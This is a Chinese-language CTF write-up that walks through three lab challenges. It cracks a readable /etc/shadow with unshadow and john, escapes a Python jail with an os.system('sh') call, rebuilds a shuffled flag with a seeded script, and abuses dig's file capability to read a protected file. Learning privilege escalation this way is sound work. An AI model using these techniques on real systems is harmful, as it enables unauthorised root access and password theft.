题目描述: 隐藏于阴影之中,会是什么呢 使用ssh连接端口,用户为”ctf”,密码为”ctf”
ssh连上,一手ls
,然后cat flag
,发现权限不够,开始提权,正好这周学了提权嘿嘿,强推tryhackme
由标题可以联想到/etc/shadow
文件,用于存储 Linux 系统中用户的密码信息,/etc/passwd
文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd
文件中分离出来,并单独放到了此文件中。
访问一下,ohhh,有权限访问,那就开始爆破密码
首先把/etc/passwd
和/etc/shadow
文件内容复制到自己的kali,因为目标机没有相关环境嘛
然后使用unshadow工具把密码信息转化成可被攻击的信息文件
unshadow passwd shadow > mypasswd
接着用john工具暴力破解即可
john mypasswd
过几秒就得到了root用户的密码,然后ssh连上读flag内容即可
cat /home/ctf/flag
好欸,有一个python shell,但是怎么感觉怪怪的
看到这道题就让我想起来HNCTF2022里空白✌(Crazyman)出的的pyjail逃逸套题,tql
然后我就去春哥的博客里找能不能做的思路
首先看起来就是一个python的shell,没看出什么特别的,那就为了方便,用命令行正常拿flag试试看
__import__('os').system('sh')
shell很正常的出来了,然后我就找了半天flag在哪,既然不好找,那就康康docker的部署命令怎么写的吧
这下发现哩,在/opt/python/preload.py
里放着,直接cat读取是读不到的,因为权限不够,Linux提权的手法我学过的sudo、suid这些都试了试,不太行
那就浅浅试试dir()
康康有啥好东西,发现__flag__
读出来是打乱的flag,怎么重组起来呢,可以发现除此之外还有random
和seed
以及shuffle
,seed
可以获取到是114514,那这里shuffle随机排列的也就是伪随机了,开始复原
可以发现列表的元素都是两个两个的字符,那就开始写个逆向脚本
import random
from random import shuffle
random.seed(114514)
flag=['77', '6d', 'c5', 'SC', '-4', 'f-', '18', '5a', '5a', 'NS', '80', '5e', '1}', 'TF', '-a', '90', 'b6', '88', 'c5', 'c2', '{6', '4-']
length = len(flag)
list1 = []
for i in range(length):
list1.append(str(i))
print(list1)
shuffle(list1)
list2 = list1
print(list2)
result = ""
for i in range(length):
index = list2.index(str(i))
result += flag[index]
print(result)
方法二:除此之外还可以执行open()获得flag,因为我们已知flag的路径
open('/opt/python/preload.py').read()
题目描述: 能力越大,越危险 使用ssh连接端口,用户为”ctf”,密码为”ctf”
由题目描述联想到Capabilities提权,直接getcap -r / 2>/dev/null
搜索可利用的二进制可执行文件,发现dig
命令,可以在GTFOBins查找到这个命令可读取文件内容,直接dig -f flag
即出flag
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有